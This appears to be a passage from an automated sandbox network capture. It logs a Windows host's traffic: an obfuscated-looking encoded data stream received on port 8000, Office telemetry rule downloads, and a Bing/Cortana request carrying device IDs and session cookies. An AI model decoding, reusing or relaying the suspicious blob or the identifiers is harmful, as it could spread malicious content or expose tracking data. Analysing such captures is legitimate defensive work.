2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 25 00 25 00 21 00 37 00 44 00 34 00 42 00 25 00 25 00 25 00 25 00 25 00 34 00 32 00 40 00 35 00 32 00 25 00 32 00 21 00 45 00 37 00 44 00 34 00 43 00 25 00 25 00 25 00 25 00 25 00 34 00 25 00 32 00 25 00 33 00 38 00 43 00 40 00 35 00 25 00 25 00 25 00 25 00 25 00 21 00 37 00 44 00 34 00 42 00 25 00 25 00 25 00 25 00 25 00 34 00 32 00 40 00 21 00 45 00 25 00 32 00 32 00 38 00 40 00 37 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 40 00 32 00 32 00 25 00 32 00 25 00 33 00 32 00 38 00 40 00 36 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 40 00 21 00 45 00 25 00 32 00 32 00 38 00 39 00 43 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 40 00 32 00 32 00 25 00 32 00 25 00 33 00 32 00 38 00 39 00 39 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 40 00 21 00 45 Data Ascii: %%%!7D4B%%%%%42@52%2!E7D4C%%%%%4%2%38C@5%%%%%!7D4B%%%%%42@!E%228@7%%%%%62@22%2%328@6%%%%%62@!E%2289C%%%%%62@22%2%32899%%%%%62@!E
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 25 00 25 00 25 00 25 00 46 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 45 00 34 00 25 00 32 00 25 00 25 00 25 00 25 00 45 00 34 00 25 00 32 00 25 00 25 00 25 00 25 00 25 00 43 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 25 00 25 00 25 00 25 00 25 00 21 00 21 00 42 00 33 00 25 00 25 00 32 00 25 00 25 00 36 00 40 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 38 00 25 00 38 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 35 00 33 00 40 00 25 00 36 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 36 00 33 00 38 00 25 00 35 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 38 Data Ascii: %%%%%F%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%E4%2%%%%E4%2%%%%%C%%%%%%%!%%%%%!!B3%%2%%6@%%%%%%%%%%%%%%28%8%%%%%6253@%6%%%%%%2638%5%%%%%%28
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 25 00 25 00 21 00 21 00 42 00 33 00 25 00 25 00 32 00 25 00 25 00 33 00 34 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 25 00 25 00 25 00 25 00 21 00 21 00 37 00 33 00 37 00 45 00 25 00 25 00 25 00 25 00 25 00 40 00 32 00 38 00 37 00 46 00 25 00 25 00 25 00 25 00 25 00 40 00 36 00 46 00 38 00 25 00 25 00 25 00 25 00 25 00 25 00 40 00 37 00 32 00 38 00 21 00 32 00 35 00 25 00 25 00 37 00 25 00 36 00 46 00 38 00 21 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 39 00 25 00 37 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 37 00 25 00 40 00 44 00 44 00 25 00 44 00 25 00 25 00 25 00 25 00 25 00 25 00 44 00 44 00 25 00 36 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 36 00 44 00 44 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 36 00 32 00 40 Data Ascii: %%%!!B3%%2%%34%%%%%%%2%%%%!!737E%%%%%@287F%%%%%@6F8%%%%%%@728!25%%7%6F8!%%%%%@39%7%%%%%%!7%@DD%D%%%%%%DD%6%%%%%%26DD%%%%%%%%!62@
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 33 00 44 00 32 00 38 00 25 00 25 00 37 00 25 00 32 00 38 00 32 00 38 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 40 00 21 00 45 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 21 00 21 00 43 00 37 00 32 00 33 00 46 00 32 00 42 00 25 00 25 00 37 00 25 00 32 00 38 00 32 00 38 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 40 00 21 00 35 00 25 00 25 00 25 00 25 00 25 00 25 00 33 00 38 00 21 00 33 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 37 00 21 00 33 00 21 00 25 00 33 00 38 00 25 00 42 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 37 00 21 00 33 00 21 00 21 00 33 00 38 00 25 00 33 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 37 00 21 00 33 00 21 00 32 00 21 00 21 00 21 00 40 00 21 00 37 00 35 00 38 00 21 00 33 00 21 00 40 00 21 00 21 00 21 00 40 00 21 00 21 Data Ascii: 3D28%%7%2828%%%%%@3@!E%%%%%%!!!C723F2B%%7%2828%%%%%@3@!5%%%%%%38!3%%%%%%!7!3!%38%B%%%%%%!7!3!!38%3%%%%%%!7!3!2!!!@!758!3!@!!!@!!
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 25 00 25 00 40 00 36 00 46 00 42 00 21 00 25 00 25 00 25 00 25 00 25 00 36 00 25 00 36 00 37 00 32 00 46 00 44 00 32 00 33 00 25 00 25 00 37 00 25 00 36 00 46 00 40 00 34 00 25 00 25 00 25 00 25 00 25 00 36 00 37 00 45 00 32 00 45 00 25 00 25 00 25 00 25 00 25 00 34 00 36 00 46 00 42 00 21 00 25 00 25 00 25 00 25 00 25 00 36 00 25 00 36 00 36 00 46 00 40 00 45 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 40 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 42 00 33 00 25 00 25 00 32 00 25 00 25 00 38 00 37 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 45 00 25 00 25 00 25 00 25 00 21 00 21 00 37 00 45 00 32 00 25 00 25 00 25 00 25 00 25 00 25 00 34 00 37 00 32 00 36 00 46 00 33 00 33 00 25 00 25 00 37 00 25 00 32 00 38 00 37 00 32 00 25 00 25 00 25 00 25 Data Ascii: %%%@6FB!%%%%%6%672FD23%%7%6F@4%%%%%67E2E%%%%%46FB!%%%%%6%66F@E%%%%%62@%%%%%%!B3%%2%%87%%%%%%%E%%%%!!7E2%%%%%%4726F33%%7%2872%%%%
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 40 00 44 00 40 00 44 00 25 00 25 00 25 00 44 00 33 00 35 00 25 00 25 00 25 00 25 00 25 00 21 00 21 00 42 00 33 00 25 00 25 00 32 00 25 00 25 00 35 00 42 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 37 00 45 00 21 00 25 00 25 00 25 00 25 00 25 00 25 00 34 00 32 00 38 00 21 00 37 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 39 00 25 00 46 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 38 00 34 00 42 00 25 00 25 00 25 00 25 00 25 00 36 00 33 00 39 00 25 00 35 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 38 00 35 00 43 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 38 00 35 00 33 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 38 00 25 00 38 00 25 00 25 Data Ascii: %%%%%%%%%%%%@D@D%%%D35%%%%%!!B3%%2%%5B%%%%%%%%%%%%%%7E!%%%%%%428!7%%%%%@39%F%%%%%%284B%%%%%639%5%%%%%%285C%%%%%62853%%%%%628%8%%
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 32 00 38 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 40 00 34 00 42 00 25 00 37 00 25 00 25 00 25 00 25 00 33 00 38 00 21 00 43 00 25 00 43 00 25 00 25 00 25 00 25 00 25 00 37 00 37 00 32 00 21 00 35 00 33 00 38 00 25 00 25 00 37 00 25 00 32 00 38 00 32 00 38 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 40 00 38 00 38 00 25 00 37 00 25 00 25 00 25 00 25 00 33 00 38 00 25 00 37 00 25 00 43 00 25 00 25 00 25 00 25 00 25 00 37 00 37 00 32 00 32 00 39 00 33 00 38 00 25 00 25 00 37 00 25 00 32 00 38 00 32 00 38 00 25 00 25 00 25 00 25 00 25 00 40 00 33 00 40 00 44 00 36 00 25 00 37 00 25 00 25 00 25 00 25 00 33 00 38 00 46 00 32 00 25 00 42 00 25 00 25 00 25 00 25 00 25 00 37 00 37 00 32 00 33 00 44 00 33 00 38 00 25 00 25 00 37 00 25 00 32 00 38 00 32 00 38 Data Ascii: 28%%%%%@3@4B%7%%%%38!C%C%%%%%772!538%%7%2828%%%%%@3@88%7%%%%38%7%C%%%%%7722938%%7%2828%%%%%@3@D6%7%%%%38F2%B%%%%%7723D38%%7%2828
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 36 00 25 00 36 00 37 00 42 00 33 00 38 00 25 00 25 00 25 00 25 00 25 00 34 00 37 00 32 00 39 00 33 00 33 00 38 00 25 00 25 00 37 00 25 00 36 00 46 00 40 00 34 00 25 00 25 00 25 00 25 00 25 00 36 00 36 00 46 00 39 00 46 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 38 00 43 00 37 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 38 00 36 00 38 00 25 00 25 00 25 00 25 00 25 00 36 00 36 00 46 00 33 00 42 00 25 00 25 00 25 00 25 00 25 00 40 00 36 00 46 00 42 00 21 00 25 00 25 00 25 00 25 00 25 00 36 00 36 00 46 00 40 00 45 00 25 00 25 00 25 00 25 00 25 00 36 00 32 00 38 00 32 00 25 00 25 00 25 00 25 00 25 00 25 00 36 00 33 00 38 00 32 00 21 00 25 00 34 00 25 00 25 00 25 00 25 00 37 00 33 00 42 00 39 00 25 00 25 00 25 00 25 00 25 00 36 00 21 00 33 00 25 00 40 Data Ascii: %6%67B38%%%%%4729338%%7%6F@4%%%%%66F9F%%%%%628C7%%%%%62868%%%%%66F3B%%%%%@6FB!%%%%%66F@E%%%%%6282%%%%%%6382!%4%%%%73B9%%%%%6!3%@
2024-11-02 13:00:21 UTC	8000	IN	Data Raw: 25 00 44 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 36 00 33 00 39 00 25 00 36 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 36 00 36 00 46 00 33 00 36 00 25 00 25 00 25 00 25 00 25 00 40 00 44 00 43 00 32 00 40 00 25 00 21 00 21 00 25 00 25 00 25 00 25 00 25 00 25 00 32 00 25 00 25 00 32 00 44 00 25 00 25 00 32 00 21 00 34 00 45 00 25 00 25 00 25 00 44 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 25 00 21 00 42 00 33 00 25 00 25 00 35 00 25 00 25 00 21 00 35 00 25 00 21 00 25 00 25 00 25 00 25 00 21 00 45 00 25 00 25 00 25 00 25 00 21 00 21 00 25 00 33 00 33 00 40 00 25 00 42 00 25 00 25 00 25 00 25 00 25 00 25 00 37 00 32 00 38 00 39 00 33 00 42 00 25 00 25 00 37 00 25 00 37 00 33 00 46 00 39 00 25 00 25 00 25 00 25 00 25 00 40 00 37 00 40 00 37 00 33 Data Ascii: %D%%%%%%%639%6%%%%%%%66F36%%%%%@DC2@%!!%%%%%%2%%2D%%2!4E%%%D%%%%%%%%!B3%%5%%!5%!%%%%!E%%%%!!%33@%B%%%%%%72893B%%7%73F9%%%%%@7@73

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 1b669881-b01e-0097-6d1e-2c4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130021Z-r159446fcd7b9q82hC1DFWp8rw00000001hg000000005qpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d856691-501e-0035-564e-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130021Z-176bd8f9bc5dfnrlhC1DFW9ueg00000002a0000000009hde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130021Z-16547b76f7f9rdn9hC1DFWfk7s00000000mg00000000a2az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 13:00:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 07004fc3-001e-0028-6c2f-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130021Z-r159446fcd79csp5hC1DFW5w2s00000001u000000000193s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130021Z-16547b76f7fwvr5dhC1DFW2c9400000000dg0000000074hq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49796	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:21 UTC	1961	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1730552386794&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756
2024-11-02 13:00:21 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-02 13:00:21 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-11-02 13:00:22 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0E5C3FB34DDD4786B2C7B19DD4F45984 Ref B: LAX311000111019 Ref C: 2024-11-02T13:00:22Z Date: Sat, 02 Nov 2024 13:00:22 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1730552422.24425cb8

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
